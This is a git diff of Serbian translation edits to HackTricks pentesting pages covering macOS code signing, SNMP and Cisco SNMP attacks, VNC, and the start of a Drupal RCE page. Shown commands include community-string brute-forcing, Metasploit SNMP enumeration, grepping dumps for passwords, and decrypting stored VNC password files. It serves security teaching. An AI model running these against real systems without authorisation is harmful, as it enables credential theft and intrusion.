#### **Validacija Koda sa Zahtevima**
|
||||||
|
|
||||||
|
@ -304,7 +304,7 @@ Moguće je pristupiti ovim informacijama i kreirati ili modifikovati zahteve pom
|
||||||
#### **Zastavice i Konstantne Vrednosti za Potpisivanje Koda**
|
#### **Zastavice i Konstantne Vrednosti za Potpisivanje Koda**
|
||||||
|
|
||||||
* **`kSecCSDefaultFlags`**: Podrazumevane zastavice korišćene u mnogim funkcijama Security.framework za operacije potpisivanja koda.
|
* **`kSecCSDefaultFlags`**: Podrazumevane zastavice korišćene u mnogim funkcijama Security.framework za operacije potpisivanja koda.
|
||||||
* **`kSecCSSigningInformation`**: Zastavica koja se koristi za specificiranje da treba preuzeti informacije o potpisivanju.
|
* **`kSecCSSigningInformation`**: Zastavica koja se koristi za specificiranje da informacije o potpisivanju treba da budu preuzete.
|
||||||
|
|
||||||
## Sprovođenje Potpisa Koda
|
## Sprovođenje Potpisa Koda
|
||||||
|
|
||||||
|
@ -312,7 +312,7 @@ Moguće je pristupiti ovim informacijama i kreirati ili modifikovati zahteve pom
|
||||||
|
|
||||||
## `cs_blobs` & `cs_blob`
|
## `cs_blobs` & `cs_blob`
|
||||||
|
|
||||||
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) struktura sadrži informacije o dozvoli pokrenutog procesa na njemu. `csb_platform_binary` takođe obaveštava da li je aplikacija platformni binarni (što OS proverava u različitim momentima da bi primenio bezbednosne mehanizme kao što su zaštita SEND prava na portovima zadataka ovih procesa).
|
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106) struktura sadrži informacije o dozvoli pokrenutog procesa na njemu. `csb_platform_binary` takođe obaveštava da li je aplikacija platformni binarni (što OS proverava u različitim momentima da bi primenio bezbednosne mehanizme kao što su zaštita SEND prava na portovima zadataka ovih procesa).
|
||||||
```c
|
```c
|
||||||
struct cs_blob {
|
struct cs_blob {
|
||||||
struct cs_blob *csb_next;
|
struct cs_blob *csb_next;
|
||||||
|
@ -371,7 +371,7 @@ bool csb_csm_managed;
|
||||||
#endif
|
#endif
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
## Reference
|
## References
|
||||||
|
|
||||||
* [**\*OS Internals Volume III**](https://newosxbook.com/home.html)
|
* [**\*OS Internals Volume III**](https://newosxbook.com/home.html)
|
||||||
|
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||||
|
|
||||||
|
@ -29,7 +29,7 @@ PORT STATE SERVICE REASON VERSION
|
||||||
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
|
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
SNMP takođe koristi port **162/UDP** za **trape**. To su podaci **paketi poslati sa SNMP servera klijentu bez eksplicitnog zahteva**.
|
SNMP takođe koristi port **162/UDP** za **trape**. Ovo su podaci **paketi poslati sa SNMP servera klijentu bez eksplicitnog zahteva**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### MIB
|
### MIB
|
||||||
|
@ -41,16 +41,16 @@ MIB datoteke su napisane u `Abstract Syntax Notation One` (`ASN.1`) zasnovanom A
|
||||||
|
|
||||||
**Object Identifiers (OIDs)** igraju ključnu ulogu. Ovi jedinstveni identifikatori su dizajnirani za upravljanje objektima unutar **Management Information Base (MIB)**.
|
**Object Identifiers (OIDs)** igraju ključnu ulogu. Ovi jedinstveni identifikatori su dizajnirani za upravljanje objektima unutar **Management Information Base (MIB)**.
|
||||||
|
|
||||||
Najviši nivoi MIB identifikatora objekata, ili OIDs, su dodeljeni raznim organizacijama koje postavljaju standarde. Unutar ovih najviših nivoa uspostavlja se okvir za globalne prakse i standarde upravljanja.
|
Najviši nivoi MIB identifikatora objekata, ili OIDs, su dodeljeni raznim organizacijama koje postavljaju standarde. U okviru ovih najviših nivoa uspostavlja se okvir za globalne prakse i standarde upravljanja.
|
||||||
|
|
||||||
Pored toga, proizvođačima je data sloboda da uspostave privatne grane. Unutar ovih grana, imaju **autonomiju da uključe upravljane objekte relevantne za svoje vlastite proizvodne linije**. Ovaj sistem osigurava da postoji strukturiran i organizovan metod za identifikaciju i upravljanje širokim spektrom objekata među različitim proizvođačima i standardima.
|
Pored toga, proizvođačima je data sloboda da uspostave privatne grane. Unutar ovih grana, imaju **autonomiju da uključe upravljane objekte relevantne za svoje vlastite proizvodne linije**. Ovaj sistem osigurava da postoji strukturiran i organizovan način za identifikaciju i upravljanje širokim spektrom objekata među različitim proizvođačima i standardima.
|
||||||
|
|
||||||
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
||||||
|
|
||||||
Možete **navigirati** kroz **OID stablo** sa veba ovde: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ili **videti šta OID znači** (kao `1.3.6.1.2.1.1`) pristupajući [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
Možete **navigirati** kroz **OID stablo** sa veba ovde: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ili **videti šta OID znači** (kao `1.3.6.1.2.1.1`) pristupajući [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||||
Postoje neki **poznati OIDs** kao što su oni unutar [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) koji se odnose na MIB-2 definisane Simple Network Management Protocol (SNMP) varijable. I iz **OIDs koji zavise od ovog** možete dobiti neke zanimljive podatke o hostu (sistemskim podacima, mrežnim podacima, podacima o procesima...)
|
Postoje neki **poznati OIDs** kao što su oni unutar [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) koji se odnose na MIB-2 definisane varijable Simple Network Management Protocol (SNMP). I iz **OIDs koji se oslanjaju na ovaj** možete dobiti neke zanimljive podatke o hostu (sistemski podaci, podaci o mreži, podaci o procesima...)
|
||||||
|
|
||||||
### **OID Primer**
|
### **Primer OID-a**
|
||||||
|
|
||||||
[**Primer odavde**](https://www.netadmintools.com/snmp-mib-and-oids/):
|
[**Primer odavde**](https://www.netadmintools.com/snmp-mib-and-oids/):
|
||||||
|
|
||||||
|
@ -87,7 +87,7 @@ Ostatak vrednosti daje specifične informacije o uređaju.
|
||||||
|
|
||||||
Postoje 2 važne verzije SNMP:
|
Postoje 2 važne verzije SNMP:
|
||||||
|
|
||||||
* **SNMPv1**: Glavna verzija, još uvek je najčešća, **autentifikacija se zasniva na stringu** (community string) koji putuje u **plain-text** (svi podaci putuju u običnom tekstu). **Verzija 2 i 2c** takođe šalju **saobraćaj u plain text** i koriste **community string kao autentifikaciju**.
|
* **SNMPv1**: Glavna verzija, još uvek je najčešća, **autentifikacija se zasniva na stringu** (community string) koji putuje u **plain-text** (svi podaci putuju u plain text). **Verzija 2 i 2c** takođe šalju **saobraćaj u plain text** i koriste **community string kao autentifikaciju**.
|
||||||
* **SNMPv3**: Koristi bolji **oblik autentifikacije** i informacije putuju **kriptovano** koristeći (**dictionary attack** može biti izveden, ali bi bilo mnogo teže pronaći ispravne kredencijale nego u SNMPv1 i v2).
|
* **SNMPv3**: Koristi bolji **oblik autentifikacije** i informacije putuju **kriptovano** koristeći (**dictionary attack** može biti izveden, ali bi bilo mnogo teže pronaći ispravne kredencijale nego u SNMPv1 i v2).
|
||||||
|
|
||||||
### Community Strings
|
### Community Strings
|
||||||
|
@ -98,14 +98,14 @@ Postoje **2 tipa community strings**:
|
||||||
* **`public`** uglavnom **samo za čitanje** funkcije
|
* **`public`** uglavnom **samo za čitanje** funkcije
|
||||||
* **`private`** **Čitanje/Pisanje** uopšteno
|
* **`private`** **Čitanje/Pisanje** uopšteno
|
||||||
|
|
||||||
Napomena da **pisivost OID-a zavisi od korišćenog community string-a**, tako da **čak i** ako otkrijete da se koristi "**public**", mogli biste biti u mogućnosti da **pišete neke vrednosti.** Takođe, može postojati objekata koji su **uvek "Samo za čitanje".**\
|
Napomena da **pisivost OID-a zavisi od korišćenog community stringa**, tako da **čak i** ako otkrijete da se koristi "**public**", mogli biste biti u mogućnosti da **pišete neke vrednosti.** Takođe, može postojati objekata koji su **uvek "Samo za čitanje".**\
|
||||||
Ako pokušate da **pišete** objekat, dobićete **`noSuchName` ili `readOnly` grešku**.\*\*.\*\*
|
Ako pokušate da **pišete** objekat, dobićete **`noSuchName` ili `readOnly` grešku**\*\*.\*\*
|
||||||
|
|
||||||
U verzijama 1 i 2/2c, ako koristite **loš** community string, server neće **odgovoriti**. Dakle, ako odgovara, korišćen je **validan community string**.
|
U verzijama 1 i 2/2c, ako koristite **loš** community string, server neće **odgovoriti**. Dakle, ako odgovara, korišćen je **validan community string**.
|
||||||
|
|
||||||
## Portovi
|
## Portovi
|
||||||
|
|
||||||
[Sa Vikipedije](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol):
|
[Sa Wikipedije](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol):
|
||||||
|
|
||||||
* SNMP agent prima zahteve na UDP portu **161**.
|
* SNMP agent prima zahteve na UDP portu **161**.
|
||||||
* Menadžer prima obaveštenja ([Trape](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) i [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) na portu **162**.
|
* Menadžer prima obaveštenja ([Trape](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) i [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) na portu **162**.
|
||||||
|
@ -170,10 +170,10 @@ Serija **Management Information Base (MIB) vrednosti** se koristi za praćenje r
|
||||||
* **Sistemski procesi**: Pristupa se putem `1.3.6.1.2.1.25.1.6.0`, ovaj parametar omogućava praćenje aktivnih procesa unutar sistema.
|
* **Sistemski procesi**: Pristupa se putem `1.3.6.1.2.1.25.1.6.0`, ovaj parametar omogućava praćenje aktivnih procesa unutar sistema.
|
||||||
* **Pokrenuti programi**: Vrednost `1.3.6.1.2.1.25.4.2.1.2` je namenjena praćenju trenutno pokrenutih programa.
|
* **Pokrenuti programi**: Vrednost `1.3.6.1.2.1.25.4.2.1.2` je namenjena praćenju trenutno pokrenutih programa.
|
||||||
* **Putanja procesa**: Da bi se odredilo odakle se proces izvršava, koristi se MIB vrednost `1.3.6.1.2.1.25.4.2.1.4`.
|
* **Putanja procesa**: Da bi se odredilo odakle se proces izvršava, koristi se MIB vrednost `1.3.6.1.2.1.25.4.2.1.4`.
|
||||||
* **Skladišne jedinice**: Praćenje skladišnih jedinica olakšava `1.3.6.1.2.1.25.2.3.1.4`.
|
* **Skladišne jedinice**: Praćenje skladišnih jedinica olakšano je putem `1.3.6.1.2.1.25.2.3.1.4`.
|
||||||
* **Ime softvera**: Da bi se identifikovao softver instaliran na sistemu, koristi se `1.3.6.1.2.1.25.6.3.1.2`.
|
* **Ime softvera**: Da bi se identifikovao softver instaliran na sistemu, koristi se `1.3.6.1.2.1.25.6.3.1.2`.
|
||||||
* **Korisnički nalozi**: Vrednost `1.3.6.1.4.1.77.1.2.25` omogućava praćenje korisničkih naloga.
|
* **Korisnički nalozi**: Vrednost `1.3.6.1.4.1.77.1.2.25` omogućava praćenje korisničkih naloga.
|
||||||
* **TCP lokalne portove**: Na kraju, `1.3.6.1.2.1.6.13.1.3` je namenjena za praćenje TCP lokalnih portova, pružajući uvid u aktivne mrežne veze.
|
* **TCP lokalne portove**: Na kraju, `1.3.6.1.2.1.6.13.1.3` je namenjen za praćenje TCP lokalnih portova, pružajući uvid u aktivne mrežne veze.
|
||||||
|
|
||||||
### Cisco
|
### Cisco
|
||||||
|
|
||||||
|
@ -193,7 +193,7 @@ Ako imate **string** koji vam omogućava da **pišete vrednosti** unutar SNMP se
|
||||||
|
|
||||||
## **Masovni SNMP**
|
## **Masovni SNMP**
|
||||||
|
|
||||||
[Braa](https://github.com/mteg/braa) je masovni SNMP skener. Predviđena upotreba ovog alata je, naravno, pravljenje SNMP upita – ali za razliku od snmpwalk iz net-snmp, može da upita desetine ili stotine hostova istovremeno, i u jednom procesu. Tako, troši vrlo malo sistemskih resursa i skeniranje obavlja VEOMA brzo.
|
[Braa](https://github.com/mteg/braa) je masovni SNMP skener. Predviđena upotreba ovog alata je, naravno, pravljenje SNMP upita – ali za razliku od snmpwalk iz net-snmp, može da upita desetine ili stotine hostova istovremeno, i u jednom procesu. Tako, troši vrlo malo sistemskih resursa i skeniranje se vrši VEOMA brzo.
|
||||||
|
|
||||||
Braa implementira svoj VLASTITI snmp stek, tako da mu nisu potrebne nikakve SNMP biblioteke poput net-snmp.
|
Braa implementira svoj VLASTITI snmp stek, tako da mu nisu potrebne nikakve SNMP biblioteke poput net-snmp.
|
||||||
|
|
||||||
|
@ -219,7 +219,7 @@ grep -i "trap" *.snmp
|
||||||
```
|
```
|
||||||
### **Korisnička imena/Lozinke**
|
### **Korisnička imena/Lozinke**
|
||||||
|
|
||||||
Zapisnici pohranjeni unutar MIB tabela se ispituju za **neuspešne pokušaje prijavljivanja**, koji mogu slučajno uključivati lozinke unesene kao korisnička imena. Ključne reči kao što su _fail_, _failed_, ili _login_ se pretražuju kako bi se pronašli vredni podaci:
|
Zapisi pohranjeni unutar MIB tabela se ispituju za **neuspešne pokušaje prijavljivanja**, koji mogu slučajno uključivati lozinke unesene kao korisnička imena. Ključne reči kao što su _fail_, _failed_, ili _login_ se pretražuju kako bi se pronašli vredni podaci:
|
||||||
```bash
|
```bash
|
||||||
grep -i "login\|fail" *.snmp
|
grep -i "login\|fail" *.snmp
|
||||||
```
|
```
|
||||||
|
@ -231,11 +231,11 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
||||||
```
|
```
|
||||||
## Modifikovanje SNMP vrednosti
|
## Modifikovanje SNMP vrednosti
|
||||||
|
|
||||||
Možete koristiti _**NetScanTools**_ da **modifikujete vrednosti**. Biće vam potrebna **privatna string** da biste to uradili.
|
Možete koristiti _**NetScanTools**_ da **modifikujete vrednosti**. Trebaće vam **privatni string** da biste to uradili.
|
||||||
|
|
||||||
## Spoofing
|
## Lažiranje
|
||||||
|
|
||||||
Ako postoji ACL koji dozvoljava samo nekim IP adresama da upitaju SNMP servis, možete spoofovati jednu od ovih adresa unutar UDP paketa i prisluškivati saobraćaj.
|
Ako postoji ACL koji dozvoljava samo nekim IP adresama da upitaju SNMP servis, možete lažirati jednu od ovih adresa unutar UDP paketa i prisluškivati saobraćaj.
|
||||||
|
|
||||||
## Istraživanje SNMP konfiguracionih fajlova
|
## Istraživanje SNMP konfiguracionih fajlova
|
||||||
|
|
||||||
|
@ -243,9 +243,9 @@ Ako postoji ACL koji dozvoljava samo nekim IP adresama da upitaju SNMP servis, m
|
||||||
* snmpd.conf
|
* snmpd.conf
|
||||||
* snmp-config.xml
|
* snmp-config.xml
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hakersku karijeru** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||||
|
|
||||||
|
@ -23,9 +23,9 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
||||||
|
|
||||||
## Pentesting Cisco Networks
|
## Pentesting Cisco Networks
|
||||||
|
|
||||||
**SNMP** funkcioniše preko UDP sa portovima 161/UDP za opšte poruke i 162/UDP za trap poruke. Ovaj protokol se oslanja na zajedničke stringove, koji služe kao lozinke koje omogućavaju komunikaciju između SNMP agenata i servera. Ovi stringovi su ključni jer određuju nivoe pristupa, posebno **samo za čitanje (RO) ili čitanje i pisanje (RW) dozvole**. Značajan napad za pentestere je **brute-forcing zajedničkih stringova**, sa ciljem infiltracije u mrežne uređaje.
|
**SNMP** funkcioniše preko UDP sa portovima 161/UDP za opšte poruke i 162/UDP za trap poruke. Ovaj protokol se oslanja na community strings, koji služe kao lozinke koje omogućavaju komunikaciju između SNMP agenata i servera. Ove stringove su ključni jer određuju nivoe pristupa, posebno **samo za čitanje (RO) ili čitanje i pisanje (RW) dozvole**. Značajan napad za pentestere je **brute-forcing community strings**, sa ciljem infiltracije u mrežne uređaje.
|
||||||
|
|
||||||
Praktičan alat za izvođenje ovakvih brute-force napada je [**onesixtyone**](https://github.com/trailofbits/onesixtyone), koji zahteva listu potencijalnih zajedničkih stringova i IP adrese ciljeva:
|
Praktičan alat za izvođenje ovakvih brute-force napada je [**onesixtyone**](https://github.com/trailofbits/onesixtyone), koji zahteva listu potencijalnih community strings i IP adrese ciljeva:
|
||||||
```bash
|
```bash
|
||||||
onesixtyone -c communitystrings -i targets
|
onesixtyone -c communitystrings -i targets
|
||||||
```
|
```
|
||||||
|
@ -52,9 +52,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||||
|
|
||||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||||
|
|
||||||
|
@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
||||||
|
|
||||||
## Basic Information
|
## Basic Information
|
||||||
|
|
||||||
**Virtual Network Computing (VNC)** je robusni grafički sistem za deljenje radne površine koji koristi **Remote Frame Buffer (RFB)** protokol za omogućavanje daljinskog upravljanja i saradnje sa drugim računarom. Sa VNC-om, korisnici mogu besprekorno da interaguju sa daljinskim računarom prenoseći događaje sa tastature i miša u oba pravca. Ovo omogućava pristup u realnom vremenu i olakšava efikasnu daljinsku pomoć ili saradnju preko mreže.
|
**Virtual Network Computing (VNC)** je robusni grafički sistem deljenja radne površine koji koristi **Remote Frame Buffer (RFB)** protokol za omogućavanje daljinskog upravljanja i saradnje sa drugim računarom. Sa VNC-om, korisnici mogu besprekorno da interaguju sa daljinskim računarom prenoseći događaje sa tastature i miša u oba pravca. Ovo omogućava pristup u realnom vremenu i olakšava efikasnu daljinsku pomoć ili saradnju preko mreže.
|
||||||
|
|
||||||
VNC obično koristi portove **5800 ili 5801 ili 5900 ili 5901.**
|
VNC obično koristi portove **5800 ili 5801 ili 5900 ili 5901.**
|
||||||
```
|
```
|
||||||
|
@ -45,14 +45,14 @@ vncviewer [-passwd passwd.txt] <IP>::5901
|
||||||
|
|
||||||
Podrazumevani **lozinka je sačuvana** u: \~/.vnc/passwd
|
Podrazumevani **lozinka je sačuvana** u: \~/.vnc/passwd
|
||||||
|
|
||||||
Ako imate VNC lozinku i izgleda enkriptovano (nekoliko bajtova, kao da bi mogla biti enkriptovana lozinka), verovatno je šifrovana sa 3des. Možete dobiti lozinku u čistom tekstu koristeći [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
|
Ako imate VNC lozinku i izgleda enkriptovano (nekoliko bajtova, kao da bi mogla biti enkriptovana lozinka), verovatno je šifrovana sa 3des. Možete dobiti tekstualnu lozinku koristeći [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
|
||||||
```bash
|
```bash
|
||||||
make
|
make
|
||||||
vncpwd <vnc password file>
|
vncpwd <vnc password file>
|
||||||
```
|
```
|
||||||
Možete to učiniti jer je lozinka koja se koristi unutar 3des za enkripciju običnih VNC lozinki obrnuta pre nekoliko godina.\
|
Možete to učiniti jer je lozinka koja se koristi unutar 3des za enkripciju običnih VNC lozinki obrnuta pre nekoliko godina.\
|
||||||
Za **Windows** možete koristiti i ovaj alat: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
Za **Windows** možete takođe koristiti ovaj alat: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
|
||||||
Alat čuvam ovde takođe radi lakšeg pristupa:
|
Ovdje takođe čuvam alat radi lakšeg pristupa:
|
||||||
|
|
||||||
{% file src="../.gitbook/assets/vncpwd.zip" %}
|
{% file src="../.gitbook/assets/vncpwd.zip" %}
|
||||||
|
|
||||||
|
@ -60,9 +60,9 @@ Alat čuvam ovde takođe radi lakšeg pristupa:
|
||||||
|
|
||||||
* `port:5900 RFB`
|
* `port:5900 RFB`
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **hacking karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -76,7 +76,7 @@ Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" da
|
||||||
|
|
||||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite trikove za hakovanje slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite hacking trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,16 +1,16 @@
|
||||||
# Drupal RCE
|
# Drupal RCE
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Podržite HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -18,10 +18,10 @@ Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt
|
||||||
## Sa PHP Filter Modulom
|
## Sa PHP Filter Modulom
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
U starijim verzijama Drupala **(pre verzije 8)**, bilo je moguće prijaviti se kao admin i **omogućiti `PHP filter` modul**, koji "Omogućava evaluaciju ugrađenog PHP koda/fragmenta." Ali od verzije 8 ovaj modul nije instaliran po defaultu.
|
U starijim verzijama Drupala **(pre verzije 8)**, bilo je moguće prijaviti se kao administrator i **omogućiti `PHP filter` modul**, koji "Omogućava evaluaciju ugrađenog PHP koda/fragmenta." Ali od verzije 8 ovaj modul nije instaliran po defaultu.
|
||||||
{% endhint %}
|
{% endhint %}
|
